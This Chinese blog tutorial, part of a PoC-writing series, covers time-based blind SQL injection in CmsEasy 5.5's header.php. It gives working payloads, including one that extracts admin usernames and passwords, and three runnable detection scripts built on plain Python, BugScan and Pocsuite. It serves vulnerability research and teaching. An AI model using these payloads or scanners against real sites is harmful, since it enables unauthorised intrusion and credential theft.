《PoC 编写指南》现已经同步至 gitbook,博客和 gitbook 会同步更新,地址: http://poc.evalbug.com/
写在前面 《PoC 编写指南》有 3 个月没更了,基本上我写博文都是在半夜两三点的时候写的,最近几个月有些忙,睡的也比较早,就一直停更了。当然也有一些别的方面的原因,每次写篇博文都是尽可能的把涉及到的东西讲清楚,写详细,自己在这个上面花的时间特别多,结果有些网站一个爬虫就全带走了,多多少少还是有些不爽,毕竟还是希望读者看过之后能给出一些宝贵的意见。
再说积极的事,这个系列也帮助了一些人,其中有个兄弟写了一个 Python 的项目,里面就用到了我们 2.3 节中的 PoC:
one python app for zoomeye 项目地址
2.4 基于时间的盲注的 SQL 注入 PoC 编写 本节原本打算找一个 PHP 语言的 CMS 的漏洞,环境好搭,找了半天没找到比较新的漏洞,最后决定直接用之前的漏洞。这次我们选择的漏洞为:
CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞
这个漏洞是我们 2.2 节《基于报错的 SQL 注入 PoC 编写》中使用过的一个漏洞。
选这个洞的意义在于,让读者能体会到,一个漏洞的不同利用方式,没错,不只有一种利用方式。
基于时间的盲注一般是没办法通过回显来得到结果(包括 union 查询,报错回显),或者是没法通过有很明显的页面数据变化来确定 SQL 语句是否执行。这时候就可以通过页面的返回时间来确定是否成功执行了。
这么说有些拗口,直接上实例。
2.4.1 漏洞分析 具体分析可以直接看 2.2.1 小节,就不在这里浪费时间了。
我们先来回顾一下这个漏洞在 2.2 节 的 Payload:
1 2 3 4 5 6 7 请求的链接: http://xxx.com/celive/live/header.php POST 数据内容: xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#
这是一个典型的 group by 的报错 Payload。那么,这节是基于时间的盲注,我们就假装我们不能通过报错来拿到结果。所以我们修改 Payload 为:
1 2 3 4 5 6 7 请求的链接: http://xxx.com/celive/live/header.php POST 数据内容: xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT IF(1=1, sleep(5), '1')),'','','','1','127.0.0.1','2')#
核心的 SQL 语句是这样的, SELECT IF(1=1,sleep(5), '1')
熟悉 MySQL 语法的人应该知道这个意思,第一个参数是表达式,就是说如果表达式为真的话,就执行第二个参数位置的语名,在本例子中是 sleep 5秒,如果为假就执行第三个参数位置的语句,本例子中就是返回一个字符 1 。
2.4.2 漏洞复现 实验所需 CMS 下载地址:下载地址
我们打开 Firefox 浏览器,开启 hackbar, 再打开开发者工具,调到网络选项卡,然后填写 Payload :
1 2 3 4 5 6 7 请求的链接: http://localhost/cmseasy/celive/live/header.php POST 数据内容: xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT IF(1=1, sleep(5), '1')),'','','','1','127.0.0.1','2')#
这个 Payload 会执行 sleep(5),其执行结果如图 2-8 所示:
注意右下方的返回包时长,5068 ms。
然后我们修改 IF 中的 1=1 为 1=2,此时肯定是不会执行 sleep(5) 的,然后我们观查一下返回时间:
注意右下方的返回时长,22 ms。
除了返回时间以外,再注意看一下 图2-8 和 图2-9 这两张图中网页内容,发现是内容是一模一样的,现在能体会到什么是基于时间的盲注了吧?无法通过内容变化来区别是否执行了 SQL 语句,只能过过注入延时函数来让返回包时间变长来判断。
这里有必要来讲一下什么会这样,其实在服务端执行的时候一般都是按顺序执行的,在请求数据库查询之后,是一直在等待数据库返回的,如果数据库一直不返回,就一直等着呗,直到超时。
2.4.3 无框架 PoC 编写 看完漏洞分析之后,聪明的朋友已经想到要怎么做了:
我知道,我知道,直接用有延时的 Payload 打上去,然后看返回的时间是不是大于 5s 就行了。这样只用请求一次目标,效率杠杠滴。
就你知道,就你聪明。一般情况下,我们访问一个网页,响应时长确实是少于 5s 的,但是呢,来吧,我们先来看一张图:
看出什么了吗?看不出来才怪,我都给你标记出来了。我们直接访问 github.com 响应的时长是大于 5s 的,没错,如果按照第上面的思路来的话,对于一些访问比较慢的网站来说,这妥妥的误报啊。总结一下,影响响应时长的大概有这么几种:
网络延迟 (比如你的目标是海外的什么什么站你懂得,或者是网络拥塞了啥的,堵车了嘛)
服务器处理速度(脚本执行的速度,服务器软件处理速度)
所以,我们要尽可能的排除这些客观的因素,做法就是访问目标两次,第一次是正常请求,记录下响应时间差 a,然后再带上 Payload 来请求一次,得到一个响应时间差 b,计算一下 b-a 的值是不是在 5s 左右。
这时值得注意的是,如果我们传入的 Payload 是 sleep(5),在判断的时候不一定是大于 5s 哟,基本上 b-a 的值大于 4s ~ 4.5s 就差不多了。请思考为什么要这么判断。
再说一下,那个正常的请求,可以是带着一定不执行 sleep 的 Payload ,也可以是一次正常的请求。
好了我们直接上代码吧,代码其实可以简洁一点。
代码 2_4_1.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #!/usr/bin/env python # coding:utf-8 import urllib2 import urllib import sys import time def verify(url): target = "%s/celive/live/header.php" % url # 要发送的数据 post_data1 = { 'xajax': 'LiveMessage', 'xajaxargs[0][name]': "1',(SELECT IF(1=2, sleep(5), '1'))," "'','','','1','127.0.0.1','2') #" } # 有延时的 Payload post_data2 = { 'xajax': 'LiveMessage', 'xajaxargs[0][name]': "1',(SELECT IF(1=1, sleep(5), '1'))," "'','','','1','127.0.0.1','2') #" } try: # 记录开始请求的时间 start_time = time.time() # 发送 HTTP 请求 req = urllib2.Request(target, data=urllib.urlencode(post_data1)) urllib2.urlopen(req) # 记录正常请求并收到响应的时间 end_time_1 = time.time() req2 = urllib2.Request(target, data=urllib.urlencode(post_data2)) urllib2.urlopen(req2) # 收到响应的时间 end_time_2 = time.time() # 计算时间差 delta1 = end_time_1 - start_time delta2 = end_time_2 - end_time_1 # print "delta1: %s, delta2: %s" % (str(delta1), str(delta2)) if (delta2 - delta1) > 4: print "%s is vulnerable" % target else: print "%s is not vulnerable" % target except Exception, e: print "Something happend..." print e def main(): args = sys.argv url = "" if len(args) == 2: url = args[1] verify(url) else: print "Usage: python %s url" % (args[0]) if __name__ == '__main__': main()
将上述代码保存为 2_4_1.py
然后执行 python 2_4_1.py http://localhost/cmseasy/
,看一下执行效果图(为了方便我把 delta 的值打印了出来):
我们访问一个不存在该漏洞的站:
至此一个无框架的漏洞验证 PoC 就写完了。
2.4.4 基于 Bugscan 框架
2016/05 BugScan V2.0 发布,本例子中将使用新版本插件
代码 2_4_2.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/env python # coding:utf-8 import urllib import time def assign(service, arg): if service == fingerprint.cmseasy: return True, arg def audit(arg): target = "%s/celive/live/header.php" % arg # 要发送的数据 post_data1 = { 'xajax': 'LiveMessage', 'xajaxargs[0][name]': "1',(SELECT IF(1=2, sleep(5), '1'))," "'','','','1','127.0.0.1','2') #" } # 有延时的 Payload post_data2 = { 'xajax': 'LiveMessage', 'xajaxargs[0][name]': "1',(SELECT IF(1=1, sleep(5), '1'))," "'','','','1','127.0.0.1','2') #" } try: # 记录开始请求的时间 start_time = time.time() # 发送 HTTP 请求 # 这里需要注意的是 hackhttp 返回的第 4 个和第 5 个参数 code1, head1, html1, redirect1, log1 = hackhttp.http( target, post=urllib.urlencode(post_data1)) # 记录正常请求并收到响应的时间 end_time_1 = time.time() code2, head2, html2, redirect2, log2 = hackhttp.http( target, post=urllib.urlencode(post_data2)) # 收到响应的时间 end_time_2 = time.time() # 计算时间差 delta1 = end_time_1 - start_time delta2 = end_time_2 - end_time_1 if (delta2 - delta1) > 4: # 注意:warning 和 hole 级别必须传递 log security_hole("%s" % (target), log=log1) except: pass if __name__ == '__main__': from dummy import * audit(assign(fingerprint.cmseasy, 'http://127.0.0.1/cmseasy/')[1])
将上面代码保存成 2_4_2.py
然后执行:
1 2 3 4 5 6 7 8 ➜ 2-4 python 2_4_2.py [LOG] <hole> http://127.0.0.1/cmseasy//celive/live/header.php (uuid=None) HTTP/1.1 200 OK Date: Tue, 24 May 2016 18:52:49 GMT Server: Apache X-Powered-By: PHP/5.4.42 P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA" Set-Cookie: PHPSESSID=7013aae6eb8cae9adc865509f
可以看到新版本中调试信息里面还多了 HTTP 调试信息在里面。
至于新版本与旧版本的不同,可以去参考 BugScan 的官方说明,如果读者有需要我说明的话,可以在下面留言,看情况决定要不要写一篇 BugScan 1.x 与 2.x 变化。
2.4.5 基于 Pocsuite 框架 感谢 @熊巍迤 同学贡献 代码 2_4_3.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 # -*- coding: utf-8 -*- from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import time class CmsEasyPoC(POCBase): vulID = '88979' version = '1' author = ['熊巍迤'] vulDate = '2014-10-22' createDate = '2015-12-28' updateDate = '2015-12-28' references = ['http://wooyun.org/bugs/wooyun-2010-070827'] name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞 POC' appPowerLink = 'http://www.cmseasy.cn/' appName = 'CMSEasy' appVersion = '5.5' vulType = 'SQL Injection' desc = ''' 开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接 带入了SQL语句中,可以通过\字符来转义掉一个单引号,逃逸单引号,产生SQL注入。 此注入为报错注入,可以通过UpdateXML函数进行注入。 ''' samples = [''] def _verify(self): result = {} target = "%s/celive/live/header.php" % self.url post_data1 = { 'xajax': 'LiveMessage', 'xajaxargs[0][name]': "1',(SELECT IF(35443=24234, sleep(5), '1')),'','','','1','127.0.0.1','2') #" } post_data2 = { 'xajax': 'LiveMessage', 'xajaxargs[0][name]': "1',(SELECT IF(3=3, sleep(5), '1')),'','','','1','127.0.0.1','2') #" } try: start_time = time.time() resp1 = req.post(target, data=post_data1) time1 = time.time() - start_time start_time = time.time() resp2 = req.post(target, data=post_data2) time2 = time.time() - start_time if (time2 - time1) > 4: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target except: pass return self.parse_result(result) def _attack(self): return self._verify() def parse_result(self, result): output = Output(self) if result: output.success(result) else: output.fail('Inernet Noting returned') return output register(CmsEasyPoC)
总结 总结一下这节暂时学到的东西:
基于时间的 SQL 盲注,一般通过比较响应时间差来判断是否执行延时 SQL 语句
尽可能的排除一些外界因素的影响。
基于时间的盲注误差是客观存在的。
2016/04/18 基于 Bugscan 框架应该很简单,这里我先不写, 读者可以自己来实现一下。 至于 Pocsuite 框架,读者可以先行实现一下 verify 部分。 热心的读者可以自己写完后直接邮件发我。下周我再来更新。
2016/05/20 感谢 @熊巍迤 同学贡献 代码 2_4_3。 520 最好的支持〜